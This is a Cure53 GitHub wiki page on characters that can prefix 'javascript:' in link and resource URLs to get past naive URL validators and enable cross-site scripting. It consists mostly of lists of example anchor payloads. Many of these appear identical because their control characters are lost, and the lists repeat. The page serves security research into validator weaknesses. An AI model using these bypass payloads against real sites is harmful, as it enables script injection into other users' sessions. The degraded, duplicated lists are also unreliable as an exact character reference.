-
Notifications
You must be signed in to change notification settings - Fork 421
Characters permitted to prefix Schemes in Anchors and Resource URLs
Cure53 edited this page Aug 21, 2015
·
1 revision
Often, webservers and clients validate URLs to avoid permitting JavaScript-, Data- and non-HTTP-URIs to prevent XSS and alike. For example, a webserver might check if a user-submitted URL starts with the string "javascript:" and raise a validation error if it does so.
This page lists characters that can be placed before a protocol handler to slightly obfuscate it and potentially trick the validator.
Example:
This might be detected and prohibited by a validator
<a href="javascript:alert(1)">CLICK</a>
This however might slip through. We want to know what else does.
<a href="
javascript:alert(1)">CLICK</a> If the HTML is reflected directly from the server and not modified, the following characters will work:
<a href=" javascript:123">	</a>
<a href="
javascript:123"> </a>
<a href="
javascript:123"> </a>
<a href=" javascript:123"> </a>If the HTML is reflected directly from the server and not modified, the following characters will work:
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href=" javascript:123">	</a>
<a href="
javascript:123"> </a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="
javascript:123"> </a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"> </a>If the HTML is later being modified using innerHTML or alike, more characters can be used to obfuscate the URL. Apparently, Chrome transparently removes certain characters when modifying the DOM.
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href=" javascript:123">	</a>
<a href="
javascript:123"> </a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="
javascript:123"> </a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"> </a>
<a href="javascript:123"> </a>
<a href="javascript:123"> </a>
<a href="javascript:123"> </a>
<a href="javascript:123"> </a>
<a href="javascript:123"> </a>
<a href="javascript:123"> </a>
<a href="javascript:123"> </a>
<a href="javascript:123"> </a>
<a href="javascript:123"> </a>
<a href="javascript:123"> </a>
<a href="javascript:123"> </a>
<a href="javascript:123"> </a>
<a href="javascript:123">
</a>
<a href="javascript:123"> </a>
<a href="javascript:123">　</a>If the HTML is reflected directly from the server and not modified, the following characters will work:
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href=" javascript:123">	</a>
<a href="
javascript:123"> </a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="
javascript:123"> </a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"></a>
<a href="javascript:123"> </a>this is a test